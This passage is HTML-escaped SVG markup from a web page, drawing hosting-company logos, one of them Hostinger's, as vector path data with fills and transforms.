                &lt;path d=&quot;m25.4038 6.50661-10.6891-6.171579c-.7745-.444755-1.724-.444755-2.4986 0l-10.68407 6.171579c-.774579.44477-1.249315 1.26929-1.249315 2.16383v12.33816c0 .8946.474736 1.719 1.249315 2.1637l10.68407 6.1717c.7746.4447 1.7241.4447 2.4986 0l10.6842-6.1717c.7746-.4447 1.2492-1.2691 1.2492-2.1637v-12.33816c0-.89454-.4746-1.71906-1.2492-2.16383zm-1.749 14.21209-10.1844 5.8818-10.18434-5.8818v-11.76342l10.17934-5.88177 10.1845 5.88177v11.76342z&quot; fill=&quot;#fec600&quot;/&gt;
                &lt;path d=&quot;m7.29381 10.404c-.46472.2699-.74956.7646-.74956 1.2993v6.2665c0 .5347.28484 1.0295.74956 1.2993l5.42699 3.1333c.4647.2698 1.0345.2698 1.4992 0l5.4271-3.1333c.4646-.2698.7495-.7646.7495-1.2993v-6.2665c0-.5347-.2849-1.0294-.7495-1.2993l-5.4271-3.13323c-.4647-.26988-1.0345-.26988-1.4992 0z&quot; fill=&quot;#fec600&quot;/&gt;
            &lt;/g&gt;
        &lt;/svg&gt;
        &lt;svg class=&quot;a-fade-up block-hosts-logos__image&quot; viewBox=&quot;0 0 130 26&quot; version=&quot;1.1&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;
            &lt;title&gt;
                logo/affiliate/hostinger            &lt;/title&gt;
            &lt;defs&gt;
                &lt;filter id=&quot;filter-1&quot;&gt;
                    &lt;feColorMatrix in=&quot;SourceGraphic&quot; type=&quot;matrix&quot; values=&quot;0 0 0 0 0.509804 0 0 0 0 0.549020 0 0 0 0 0.494534 0 0 0 1.000000 0&quot;&gt;&lt;/feColorMatrix&gt;
                &lt;/filter&gt;
            &lt;/defs&gt;
            &lt;g id=&quot;Website&quot; stroke=&quot;none&quot; stroke-width=&quot;1&quot; fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;
                &lt;g id=&quot;For-hosts&quot; transform=&quot;translate(-155.000000, -2713.000000)&quot;&gt;
                    &lt;g id=&quot;/logo/affiliate/hostinger&quot; transform=&quot;translate(155.000000, 2713.000000)&quot;&gt;
                        &lt;g id=&quot;hostinger&quot; fill=&quot;#828C7E&quot; fill-rule=&quot;nonzero&quot;&gt;
                            &lt;polygon id=&quot;Path&quot; points=&quot;39.0965467 7.71179067 41.53526 7.71179067 41.53526 18.51304 39.0965467 18.51304 39.0965467 13.9307133 35.00094 13.9307133 35.00094 18.51304 32.5622267 18.51304 32.5622267 7.71179067 35.00094 7.71179067 35.00094 11.8418733 39.0965467 11.8418733&quot;&gt;&lt;/polygon&gt;
                            &lt;path d=&quot;M47.2289133,13.10478 C47.2289133,13.6344 47.2938267,14.1123667 47.4240867,14.5385067 C47.5543467,14.9647333 47.7421533,15.3309 47.98716,15.6373533 C48.23156,15.94424 48.5314267,16.1802333 48.88598,16.3463733 C49.2401,16.5130333 49.6463933,16.59632 50.1052067,16.59632 C50.5531,16.59632 50.9570533,16.5130333 51.3168067,16.3463733 C51.6759533,16.1802333 51.9785067,15.94424 52.22308,15.6373533 C52.4679133,15.3309 52.6558933,14.9647333 52.7861533,14.5385067 C52.9164133,14.1123667 52.9815867,13.6344 52.9815867,13.10478 C52.9815867,12.5745533 52.9164133,12.0939867 52.7861533,11.6626467 C52.6558933,11.2315667 52.4679133,10.8629733 52.22308,10.5561733 C51.9785067,10.24972 51.6759533,10.0130333 51.3168067,9.84715333 C50.9570533,9.68084 50.5531,9.59781333 50.1052067,9.59781333 C49.6463933,9.59781333 49.2401,9.68344 48.88598,9.85478 C48.5314267,10.0262933 48.23156,10.2654067 47.98716,10.5720333 C47.7421533,10.8784867 47.5543467,11.2472533 47.4240867,11.6783333 C47.2938267,12.1098467 47.2289133,12.5852133 47.2289133,13.10478 Z M55.4986467,13.10478 C55.4986467,14.02934 55.3603267,14.8427067 55.0847267,15.5436667 C54.8081733,16.2452333 54.43022,16.8323133 53.9511267,17.3049067 C53.4717733,17.77802 52.9010733,18.1337 52.2393733,18.3725533 C51.57776,18.6119267 50.8662267,18.7313533 50.1058133,18.7313533 C49.36568,18.7313533 48.6677533,18.6119267 48.01108,18.3725533 C47.3544933,18.1337 46.7811067,17.77802 46.2915267,17.3049067 C45.8014267,16.8323133 45.41628,16.2452333 45.1347867,15.5436667 C44.8534667,14.8427067 44.71246,14.02934 44.71246,13.10478 C44.71246,12.1798733 44.8584933,11.36668 45.1503,10.6655467 C45.4418467,9.96398 45.8355733,9.37421333 46.3306133,8.89624667 C46.8253067,8.41828867 47.3986067,8.05998267 48.0502533,7.82089533 C48.7012067,7.58159133 49.3866533,7.46193933 50.1058133,7.46193933 C50.8455133,7.46193933 51.5436133,7.58159133 52.20046,7.82089533 C52.8568733,8.05998267 53.43,8.41828867 53.91984,8.89624667 C54.4095067,9.37421333 54.79526,9.96398 55.07658,10.6655467 C55.35816,11.36668 55.4986467,12.1798733 55.4986467,13.10478 Z&quot; id=&quot;Shape&quot;&gt;&lt;/path&gt;
                            &lt;path d=&quot;M61.63066,16.6583733 C61.9745533,16.6583733 62.2584733,16.6300333 62.4825067,16.5724867 C62.70654,16.5156333 62.88646,16.4378067 63.0217467,16.3384 C63.1570333,16.24012 63.2510667,16.1232933 63.3033267,15.98818 C63.3555,15.85324 63.3815867,15.70244 63.3815867,15.5361267 C63.3815867,15.1830467 63.21458,14.8890733 62.8811733,14.65568 C62.54768,14.4215933 61.9745533,14.1698267 61.1617933,13.8991667 C60.8073267,13.7749733 60.4529467,13.6317133 60.0986533,13.47086 C59.74436,13.3100933 59.4264667,13.10738 59.1451467,12.8630667 C58.8640867,12.6189267 58.6345933,12.3227867 58.4575333,11.9742133 C58.2802133,11.62642 58.1917267,11.20314 58.1917267,10.7042867 C58.1917267,10.2054333 58.2855,9.75598 58.4730467,9.35601333 C58.6607667,8.95587333 58.9264,8.615906 59.2704667,8.334976 C59.6142733,8.05426267 60.03088,7.83914733 60.52072,7.68810467 C61.01056,7.53772067 61.5627133,7.46187867 62.1777867,7.46187867 C62.90726,7.46187867 63.5378467,7.540338 64.06946,7.69595667 C64.6005533,7.85178333 65.0383933,8.02353067 65.3822,8.21052267 L64.6790733,10.1276067 C64.37652,9.97178 64.04034,9.83398 63.6707067,9.71438 C63.30064,9.59512667 62.8551733,9.53498 62.3343067,9.53498 C61.75052,9.53498 61.3310533,9.6161 61.0757333,9.77695333 C60.8204133,9.93798 60.6924933,10.1848933 60.6924933,10.5170867 C60.6924933,10.7147733 60.7397267,10.88126 60.8335,11.01594 C60.9271,11.1510533 61.06022,11.27308 61.2319933,11.38228 C61.4040267,11.4913067 61.60206,11.5901933 61.8263533,11.6782467 C62.0499533,11.7667333 62.29756,11.8574733 62.5688267,11.9509 C63.1312933,12.1590733 63.6211333,12.3641267 64.0381733,12.56684 C64.45478,12.7695533 64.8014467,13.00598 65.07774,13.2760333 C65.3536,13.5460867 65.55952,13.8632 65.69524,14.22694 C65.8303533,14.59094 65.8983,15.0322467 65.8983,15.55138 C65.8983,16.5594 65.5437467,17.3413933 64.83516,17.8971867 C64.1264867,18.4534133 63.0582333,18.7315267 61.63066,18.7315267 C61.1513067,18.7315267 60.7187533,18.7027533 60.3331733,18.64564 C59.9475933,18.5880933 59.6063867,18.5181533 59.30938,18.43504 C59.01246,18.3520133 58.7569667,18.2637867 58.54316,18.1702733 C58.3296133,18.0765867 58.1499533,17.9885333 58.00392,17.9050733 L58.6920533,15.9724933 C59.0147133,16.1494667 59.41338,16.30772 59.8879667,16.4476 C60.36186,16.5881733 60.9430467,16.6583733 61.63066,16.6583733 Z&quot; id=&quot;Path&quot;&gt;&lt;/path&gt;
                            &lt;polygon id=&quot;Path&quot; points=&quot;76.6416733 7.71185133 76.6416733 9.78492667 73.3745133 9.78492667 73.3745133 18.5131267 70.9359733 18.5131267 70.9359733 9.78492667 67.66864 9.78492667 67.66864 7.71185133&quot;&gt;&lt;/polygon&gt;
                            &lt;polygon id=&quot;Path&quot; points=&quot;79.35018 18.5133867 81.7888933 18.5133867 81.7888933 7.71189467 79.35018 7.71189467&quot;&gt;&lt;/polygon&gt;
                            &lt;path d=&quot;M92.7047333,18.5131267 C92.0070667,17.27674 91.2513333,16.0559533 90.4384,14.8503333 C89.6254667,13.6448 88.7605333,12.5071267 87.8436,11.4367933 L87.8436,18.5131267 L85.436,18.5131267 L85.436,7.71187733 L87.4215333,7.71187733 C87.7647333,8.054488 88.1452,8.47535 88.5620667,8.97424667 C88.9789333,9.4731 89.4036,10.0057533 89.8360667,10.5720333 C90.2685333,11.1382267 90.6984,11.7253933 91.1256667,12.3330133 C91.5529333,12.9408933 91.9542,13.5252 92.3294667,14.0863667 L92.3294667,7.71187733 L94.7526667,7.71187733 L94.7526667,18.5131267 L92.7047333,18.5131267 Z&quot; id=&quot;Path&quot;&gt;&lt;/path&gt;
                            &lt;path d=&quot;M103.6828,9.58221333 C102.547467,9.58221333 101.725867,9.89646667 101.2206,10.52506 C100.715333,11.1538267 100.463133,12.0133867 100.463133,13.1048667 C100.463133,13.6343133 100.524667,14.1153133 100.650333,14.5463933 C100.775133,14.9773 100.9632,15.3486667 101.2128,15.66058 C101.463267,15.9724067 101.775267,16.21412 102.150533,16.3856333 C102.5258,16.5569733 102.963467,16.6426 103.463533,16.6426 C103.7348,16.6426 103.967067,16.6374 104.159467,16.6271733 C104.351867,16.61686 104.521733,16.5962333 104.667333,16.5647733 L104.667333,12.8087267 L107.106133,12.8087267 L107.106133,18.15476 C106.814067,18.26916 106.3452,18.3910133 105.699533,18.5206667 C105.053,18.65032 104.255667,18.7157533 103.307533,18.7157533 C102.4946,18.7157533 101.757067,18.5908667 101.0958,18.3417 C100.433667,18.0919267 99.8686,17.72862 99.3997333,17.25048 C98.9308667,16.7726867 98.5686,16.1853467 98.3129333,15.48924 C98.0572667,14.7935667 97.9298667,13.9984867 97.9298667,13.1048667 C97.9298667,12.2006733 98.0711333,11.4005667 98.3528,10.7042 C98.6336,10.0082667 99.0184,9.41806667 99.5089333,8.93516 C99.9986,8.45194133 100.574067,8.085792 101.2362,7.83646067 C101.898333,7.58691267 102.6038,7.46180933 103.354333,7.46180933 C103.8648,7.46180933 104.325867,7.49602533 104.737533,7.563374 C105.1492,7.631156 105.503667,7.70896533 105.800933,7.797452 C106.0982,7.88549667 106.3426,7.976384 106.535867,8.07009667 C106.728267,8.16360133 106.866067,8.23660933 106.950133,8.288488 L106.2464,10.23646 C105.912733,10.05992 105.529667,9.90695333 105.0972,9.77686667 C104.664733,9.64695333 104.193267,9.58221333 103.6828,9.58221333 Z&quot; id=&quot;Path&quot;&gt;&lt;/path&gt;
                            &lt;polygon id=&quot;Path&quot; points=&quot;110.5182 18.5131267 110.5182 7.71187733 117.8346 7.71187733 117.8346 9.75364 112.957 9.75364 112.957 11.87316 117.286867 11.87316 117.286867 13.8684867 112.957 13.8684867 112.957 16.4714333 118.194267 16.4714333 118.194267 18.5131267&quot;&gt;&lt;/polygon&gt;
                            &lt;path d=&quot;M124.449867,9.66004 C124.273067,9.66004 124.114467,9.66524 123.9732,9.67546667 C123.8328,9.68621333 123.7002,9.69661333 123.574533,9.70666667 L123.574533,12.63678 L124.262667,12.63678 C125.1796,12.63678 125.835667,12.5229867 126.231733,12.2941 C126.6278,12.0659933 126.8254,11.67608 126.8254,11.1250533 C126.8254,10.595 126.6252,10.2188667 126.223933,9.99483333 C125.822667,9.77184 125.2316,9.66004 124.449867,9.66004 Z M124.310333,7.58692133 C125.9362,7.58692133 127.1816,7.87504467 128.046533,8.45195 C128.911467,9.02867333 129.343933,9.92480667 129.343933,11.14074 C129.343933,11.8989867 129.169733,12.5151 128.820467,12.9878667 C128.4712,13.4603733 127.968533,13.8321733 127.3116,14.1020533 C127.530867,14.3724533 127.759667,14.6815067 127.999733,15.02956 C128.238933,15.3778733 128.4764,15.7416133 128.711267,16.1208667 C128.945267,16.50012 129.172333,16.8948 129.390733,17.3049933 C129.609133,17.7157933 129.8128,18.11836 130,18.51304 L127.274333,18.51304 C127.075,18.1597867 126.873933,17.80142 126.670267,17.43768 C126.465733,17.0742 126.256867,16.7206867 126.0428,16.3775733 C125.828733,16.0345467 125.615533,15.71024 125.407533,15.4037867 C125.1978,15.0969 124.988067,14.8190467 124.7792,14.5692733 L123.5754,14.5692733 L123.5754,18.51304 L121.137467,18.51304 L121.137467,7.86720133 C121.668733,7.76389467 122.2182,7.69066133 122.785867,7.64946867 C123.3544,7.607626 123.862267,7.58692133 124.310333,7.58692133 Z&quot; id=&quot;Shape&quot;&gt;&lt;/path&gt;
                            &lt;path d=&quot;M0.000216290533,12.1732 L0.000216290533,0.000431421467 L6.14393867,3.27639867 L6.14393867,8.76078667 L14.2770333,8.76477333 L20.5204133,12.1732 L0.000216290533,12.1732 Z M15.9401667,7.75716933 L15.9401667,0 L22.2495,3.19444667 L22.2495,11.4224067 L15.9401667,7.75716933 Z M15.94008,22.63534 L15.94008,17.19822 L7.744334,17.1925 C7.75198667,17.2287267 1.39732667,13.72956 1.39732667,13.72956 L22.2495,13.8274067 L22.2495,26 L15.94008,22.63534 Z M0,22.63534 L0.000218583733,14.6807267 L6.14393867,18.2591933 L6.14393867,25.8295267 L0,22.63534 Z&quot; id=&quot;Shape&quot;&gt;&lt;/path&gt;
                        &lt;/g&gt;
                    &lt;/g&gt;
                &lt;/g&gt;
            &lt;/g&gt;
        &lt;/svg&gt;
        &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;92&quot; height=&quot;20&quot; viewBox=&quot;0 0 92 20&quot; fill=&quot;none&quot; class=&quot;a-fade-up block-hosts-logos__image&quot;&gt;
            &lt;path d=&quot;M23.7526 19.966H20.915L19.0232 17.7106L15.7723 13.8339C15.5658 13.5848 15.4766 13.2596 15.5273 12.9396C15.5779 12.6176 15.7653 12.334 16.0418 12.1609C18.3974 10.6853 19.4476 9.13383 19.4476 7.1296C19.4476 4.44084 17.2601 2.25436 14.5713 2.25436C12.6481 2.25436 10.8981 3.38962 10.1152 5.14772C9.86209 5.71585 9.19569 5.97107 8.62756 5.71787C8.05842 5.46471 7.80319 4.79832 8.0574 4.23018C9.20175 1.65988 11.7589 0 14.5713 0C18.5027 0 21.7009 3.19819 21.7009 7.1296C21.7009 8.28413 21.4467 9.36271 20.9413 10.3491C20.7955 10.6347 20.6294 10.9122 20.4421 11.1815C19.9337 11.9137 19.3361 12.5558 18.3346 13.2506C18.3164 13.2627 18.3133 13.287 18.3275 13.3032L23.8184 19.8242C23.867 19.8799 23.8266 19.966 23.7526 19.966Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M20.9145 19.9643H6.8588C3.31828 19.9643 0.448242 17.0952 0.448242 13.5547V13.4494C0.448242 9.91099 3.29603 7.00244 6.83448 6.99028C9.99724 6.97912 12.7022 9.16662 13.2613 12.1835C13.3747 12.7952 12.9716 13.3826 12.3589 13.497C11.7463 13.6104 11.1588 13.2054 11.0454 12.5937C10.6849 10.6482 8.91664 9.23752 6.84361 9.24358C4.54776 9.24969 2.70155 11.1424 2.70155 13.4393V13.5547C2.70155 15.8506 4.56195 17.711 6.8578 17.711H19.0217C19.0227 17.71 19.0227 17.71 19.0227 17.709L20.9145 19.9643Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M28.9388 19.8665C28.5576 19.9395 28.1668 19.9769 27.7668 19.9769H26.6145L26.0847 19.9607C26.0837 19.9607 26.0837 19.9597 26.0828 19.9597L20.7233 13.6018C20.7223 13.6008 20.7233 13.5998 20.7233 13.5998C21.1234 13.3182 21.7381 12.7673 22.3062 11.9733C23.0506 10.9333 23.7152 9.47394 23.7152 7.64801C23.7152 5.39062 23.0253 2.49424 19.9699 0.604465C19.8939 0.557881 19.9273 0.440388 20.0165 0.443417C21.3431 0.475866 25.8689 2.28459 25.8689 7.71685C25.8689 10.9707 24.2488 13.0174 23.6926 13.6241C23.6926 13.6241 23.6926 13.6251 23.6926 13.6261L26.839 17.3681L27.139 17.7246L28.9388 19.8665Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M34.006 13.8686C33.9719 16.8642 31.7874 19.3302 28.9405 19.867L27.1396 17.724H27.7862C29.9471 17.724 31.7326 15.9963 31.7528 13.8362C31.773 11.8148 30.2664 10.1164 28.2641 9.89462C27.6463 9.82573 27.2007 9.26976 27.2675 8.65101C27.3363 8.03221 27.8934 7.58661 28.5121 7.65545C30.0149 7.82054 31.4023 8.53352 32.4181 9.66272C33.4594 10.8152 34.0243 12.312 34.006 13.8686Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M69.6044 8.10145C69.5818 8.08097 69.5592 8.06154 69.5371 8.04102C69.5818 8.08096 69.627 8.12192 69.6712 8.16293C69.6486 8.14245 69.627 8.12192 69.6044 8.10145ZM71.1428 11.2702C71.1428 11.2702 71.1418 11.2692 71.1418 11.2681C71.1428 11.2856 71.1447 11.303 71.1457 11.3194C71.1447 11.303 71.1437 11.2856 71.1428 11.2702Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M61.9451 9.74219C61.7177 10.3475 61.5893 11.0459 61.5629 11.8315C61.5586 11.7659 61.5576 11.6973 61.5576 11.6308C61.5576 10.9599 61.697 10.3219 61.9451 9.74219Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M65.8315 16.4016C65.6502 16.3822 65.4719 16.3524 65.2988 16.3125C65.4926 16.3484 65.6709 16.3791 65.8315 16.4016Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M51.7991 8.16484C51.8429 8.12388 51.8881 8.08292 51.9332 8.04297C51.9106 8.06345 51.888 8.08292 51.8655 8.1034C51.8429 8.12282 51.8217 8.14335 51.7991 8.16484ZM50.3242 11.3203C50.3252 11.3029 50.3271 11.2855 50.3285 11.2691C50.3285 11.2701 50.3271 11.2711 50.3271 11.2711C50.3261 11.2875 50.3252 11.3049 50.3242 11.3203Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M59.5264 9.74219C59.7538 10.3475 59.8816 11.0459 59.9081 11.8315C59.9124 11.7659 59.9134 11.6973 59.9134 11.6308C59.9124 10.9609 59.7739 10.3219 59.5264 9.74219Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M55.6377 16.4016C55.8189 16.3821 55.9973 16.3524 56.1704 16.3125C55.9766 16.3493 55.7983 16.3801 55.6377 16.4016Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M83.9524 15.1847C83.975 15.2052 83.9976 15.2246 84.0202 15.2451C83.975 15.2052 83.9298 15.1642 83.886 15.1233C83.9086 15.1427 83.9298 15.1632 83.9524 15.1847ZM82.415 12.016C82.415 12.016 82.4164 12.017 82.4164 12.018C82.415 12.0006 82.4131 11.9832 82.4121 11.9668C82.4131 11.9822 82.414 11.9996 82.415 12.016Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M48.9113 13.7555V15.4168C48.9113 15.7495 48.7753 16.0515 48.5541 16.2709C48.3344 16.4904 48.0297 16.6251 47.6936 16.6251C47.0211 16.6251 46.4764 16.0842 46.4764 15.4168V14.1841C46.4764 13.3626 46.2557 12.7523 45.8212 12.3717C45.4659 12.0604 45.126 11.8819 44.5121 11.8298C44.4713 11.8257 44.4294 11.8237 44.3852 11.8216C44.1559 11.79 43.9386 11.6778 43.7862 11.5267C43.6079 11.3492 43.4963 11.1032 43.4963 10.8318C43.4963 10.3287 43.878 9.91337 44.3689 9.85621C44.3996 9.85419 44.465 9.84904 44.465 9.84904C45.064 9.80111 45.3794 9.62863 45.7077 9.34394C46.1091 8.998 46.312 8.52139 46.312 7.92754C46.312 7.14279 45.9582 6.5611 45.2875 6.24473C44.9424 6.08248 44.3141 6.00696 43.3069 6.00696H42.1507V15.4168C42.1507 15.7495 42.0147 16.0515 41.7945 16.2709C41.5739 16.4904 41.2686 16.6251 40.933 16.6251C40.2615 16.6251 39.7158 16.0842 39.7158 15.4168V4.08642C39.7158 3.89153 39.8749 3.73438 40.0706 3.73438H44.2314C45.8591 3.73438 47.0773 4.16194 47.8527 5.00587C48.4681 5.66611 48.7671 6.47538 48.7671 7.47854C48.7671 8.72451 48.2599 9.66843 47.2182 10.3665L46.6437 10.7512L47.2946 10.9879C47.8826 11.2022 48.3018 11.5145 48.5388 11.9155C48.7859 12.335 48.9113 12.9544 48.9113 13.7555Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M71.1345 11.6985C71.1336 11.6567 71.1326 11.6169 71.1292 11.5761C71.1283 11.5547 71.1264 11.5322 71.1254 11.5108C71.1244 11.4935 71.122 11.4761 71.1211 11.4598C71.1211 11.4547 71.1201 11.4496 71.1201 11.4445C71.1163 11.3965 71.1129 11.3496 71.1071 11.3006C71.1038 11.2771 71.1009 11.2516 71.099 11.2281C71.0917 11.1628 71.0817 11.0975 71.0701 11.0332C71.0591 10.9618 71.0456 10.8913 71.0302 10.821C71.0235 10.7873 71.0163 10.7546 71.0081 10.722C70.999 10.6781 70.9874 10.6352 70.9754 10.5924C70.9682 10.5648 70.96 10.5362 70.9528 10.5097C70.9437 10.474 70.9326 10.4403 70.922 10.4056C70.912 10.372 70.9009 10.3393 70.8898 10.3056C70.8336 10.1372 70.7682 9.97294 70.6927 9.81271C70.6639 9.74945 70.6336 9.6882 70.6019 9.62701C70.5826 9.59129 70.5639 9.55451 70.5437 9.51985C70.5264 9.48716 70.5091 9.45553 70.4894 9.4239C70.4702 9.39125 70.4528 9.36063 70.4327 9.329C70.4129 9.29737 70.3937 9.26573 70.373 9.23511C70.3529 9.20449 70.3336 9.17387 70.312 9.14329C70.2928 9.11469 70.2731 9.08613 70.2529 9.05757C70.2485 9.05142 70.2457 9.04733 70.2428 9.04325C70.2231 9.01671 70.2038 8.99023 70.1836 8.96369C70.162 8.93408 70.1394 8.90446 70.1173 8.87591C70.0721 8.81774 70.0255 8.76058 69.9774 8.70548C69.9303 8.64938 69.8793 8.59631 69.8322 8.54733C69.7774 8.48916 69.7221 8.43199 69.6649 8.37488C69.662 8.37181 69.6577 8.36772 69.6558 8.3657C69.612 8.32489 69.5669 8.28407 69.5221 8.24427L69.5183 8.24018C69.4731 8.20139 69.4284 8.16259 69.3832 8.12586C69.376 8.11875 69.3678 8.11158 69.3601 8.10548C69.3212 8.07279 69.2813 8.04217 69.2404 8.0126C69.226 8.00034 69.2111 7.98914 69.1957 7.97789C69.1568 7.94833 69.1178 7.92078 69.0784 7.89424C69.014 7.84728 68.9467 7.80339 68.8794 7.76257C68.8414 7.7381 68.8025 7.71459 68.764 7.69219C68.7631 7.69113 68.7607 7.69113 68.7597 7.69012C68.7424 7.67993 68.7241 7.66868 68.7078 7.6595C68.6688 7.63705 68.6304 7.61566 68.5905 7.59624C68.5722 7.58605 68.5539 7.5748 68.5342 7.56667C68.4862 7.54114 68.4395 7.51768 68.3905 7.49418C68.1689 7.38909 67.9372 7.3013 67.6978 7.23193C67.6689 7.22376 67.6396 7.21458 67.6107 7.20747C67.5579 7.19213 67.5045 7.17886 67.4507 7.1666C67.418 7.15949 67.3853 7.15132 67.3526 7.14516C67.3189 7.13805 67.2872 7.13088 67.2536 7.12478C67.2036 7.1156 67.1579 7.10742 67.1055 7.09824C67.0127 7.08194 66.919 7.0707 66.8252 7.06353C66.818 7.06252 66.8089 7.06151 66.8017 7.06151C66.7627 7.05642 66.7238 7.05435 66.6844 7.05233C66.6435 7.04926 66.6026 7.04724 66.5618 7.04517C66.5262 7.04315 66.4892 7.04214 66.4536 7.04108C66.419 7.03906 66.3863 7.03906 66.3517 7.03906H66.3382C64.3749 7.04517 62.6871 8.23917 61.9554 9.93924C61.7289 10.5424 61.6011 11.2383 61.5746 12.021C61.5737 12.0231 61.5737 12.0241 61.5746 12.0251C61.5717 12.1272 61.5693 12.2302 61.5693 12.3353V18.8542C61.5693 19.4471 62.0501 19.9277 62.6433 19.9277C62.939 19.9277 63.2072 19.8083 63.4024 19.6134C63.5961 19.4195 63.7168 19.1511 63.7168 18.8542V15.8101C64.1797 16.1172 64.6994 16.3469 65.2575 16.4775C65.272 16.4816 65.2849 16.4846 65.2984 16.4867C65.4912 16.5224 65.6691 16.553 65.8291 16.5755C66.0003 16.5948 66.1738 16.604 66.3517 16.604C68.9823 16.604 71.122 14.4692 71.1345 11.8424V11.8016C71.1365 11.767 71.1355 11.7322 71.1345 11.6985ZM66.3536 14.409C64.9249 14.409 63.7668 13.2497 63.7668 11.821C63.7668 11.7986 63.7668 11.7751 63.7687 11.7537C63.7725 11.5486 63.8024 11.3496 63.8524 11.1587C64.1442 10.0505 65.1547 9.2341 66.3536 9.2341C67.7833 9.2341 68.9414 10.3923 68.9414 11.821C68.9414 13.2497 67.7833 14.409 66.3536 14.409Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M50.3691 11.8016V11.8424C50.3802 14.4702 52.5204 16.604 55.152 16.604C55.3284 16.604 55.5029 16.5948 55.6745 16.5755C55.8356 16.554 56.0125 16.5234 56.2053 16.4867C56.2183 16.4836 56.2317 16.4805 56.2461 16.4775C56.8033 16.3469 57.3235 16.1183 57.7869 15.8101V16.0877C57.7869 16.3846 57.9061 16.653 58.1013 16.8469C58.296 17.0408 58.5647 17.1612 58.8604 17.1612C59.4531 17.1612 59.9339 16.6806 59.9339 16.0877V12.3353C59.9339 12.2302 59.9319 12.1272 59.9291 12.0251C59.93 12.0241 59.93 12.0231 59.9291 12.021C59.9021 11.2383 59.7747 10.5424 59.5483 9.93924C58.8166 8.23912 57.1288 7.04416 55.1654 7.03906H55.152C55.1174 7.03906 55.0847 7.03906 55.0501 7.04108C55.0145 7.04214 54.9775 7.04315 54.9419 7.04517C54.901 7.04724 54.8602 7.04926 54.8193 7.05233C54.7804 7.05435 54.7419 7.05743 54.702 7.06151C54.6948 7.06151 54.6857 7.06252 54.6785 7.06353C54.5847 7.0707 54.491 7.08295 54.3977 7.09824C54.3467 7.10742 54.3001 7.1156 54.2501 7.12478C54.2165 7.13088 54.1847 7.13704 54.1511 7.14516C54.1184 7.15233 54.0857 7.15949 54.053 7.1666C53.9997 7.17886 53.9468 7.19213 53.8929 7.20742C53.8641 7.21458 53.8348 7.22376 53.8059 7.23193C53.566 7.3013 53.3343 7.3901 53.1132 7.49418C53.0641 7.51663 53.017 7.54114 52.9694 7.56667C52.9497 7.5748 52.9315 7.58605 52.9132 7.59624C52.8743 7.61667 52.8353 7.63705 52.7959 7.6595C52.7786 7.66868 52.7598 7.67993 52.7435 7.69012C52.7425 7.69113 52.7406 7.69113 52.7396 7.69219C52.7007 7.71459 52.6623 7.7381 52.6243 7.76257C52.557 7.80339 52.4906 7.84728 52.4253 7.89424C52.3863 7.92073 52.3479 7.94833 52.3079 7.97789C52.2926 7.98808 52.2772 7.99933 52.2632 8.0126C52.2224 8.04217 52.1825 8.07385 52.1435 8.10548C52.1354 8.11158 52.1272 8.11769 52.12 8.12586C52.0743 8.16259 52.0291 8.20139 51.9854 8.24018L51.9815 8.24427C51.9363 8.28403 51.8916 8.32489 51.8479 8.3657C51.8445 8.36873 51.8407 8.37282 51.8388 8.37488C51.7815 8.43199 51.7263 8.48916 51.671 8.54733C51.6243 8.59631 51.5734 8.64933 51.5263 8.70548C51.4772 8.76058 51.4316 8.81774 51.3864 8.87591C51.3638 8.90446 51.3417 8.93408 51.32 8.96369C51.2999 8.99018 51.2801 9.01671 51.2609 9.04325C51.2571 9.04734 51.2537 9.05142 51.2508 9.05753C51.2301 9.08613 51.2109 9.11469 51.1917 9.14329C51.171 9.17387 51.1508 9.20449 51.1301 9.23511C51.11 9.26674 51.0907 9.29838 51.071 9.329C51.0508 9.36063 51.0335 9.39226 51.0138 9.4239C50.9946 9.45553 50.9773 9.48716 50.96 9.51985C50.9393 9.55451 50.921 9.59124 50.9018 9.62696C50.8701 9.68821 50.8393 9.74945 50.8109 9.81271C50.7355 9.97294 50.6701 10.1372 50.6138 10.3056C50.6028 10.3393 50.5927 10.372 50.5811 10.4056C50.5711 10.4403 50.56 10.474 50.5509 10.5097C50.5437 10.5362 50.5355 10.5648 50.5283 10.5924C50.5172 10.6352 50.5057 10.6781 50.4956 10.722C50.4874 10.7546 50.4802 10.7873 50.473 10.821C50.4576 10.8913 50.4446 10.9618 50.4331 11.0332C50.422 11.0975 50.4129 11.1628 50.4047 11.2281C50.4018 11.2516 50.3985 11.2771 50.3965 11.3006C50.3903 11.3495 50.3874 11.3965 50.3831 11.4445C50.3831 11.4496 50.3821 11.4547 50.3821 11.4598C50.3812 11.4771 50.3792 11.4945 50.3783 11.5108C50.3773 11.5322 50.3749 11.5547 50.374 11.5761C50.3711 11.6169 50.3701 11.6567 50.3691 11.6985C50.3701 11.7333 50.3691 11.767 50.3691 11.8016ZM52.5632 11.821C52.5632 10.3913 53.7223 9.2341 55.151 9.2341C56.3509 9.2341 57.3605 10.0505 57.6523 11.1587C57.7023 11.3485 57.7316 11.5475 57.7359 11.7537C57.7379 11.7751 57.7379 11.7986 57.7379 11.821C57.7379 13.2507 56.5788 14.409 55.151 14.409C53.7223 14.41 52.5632 13.2507 52.5632 11.821Z&quot; fill=&quot;white&quot;/&gt;
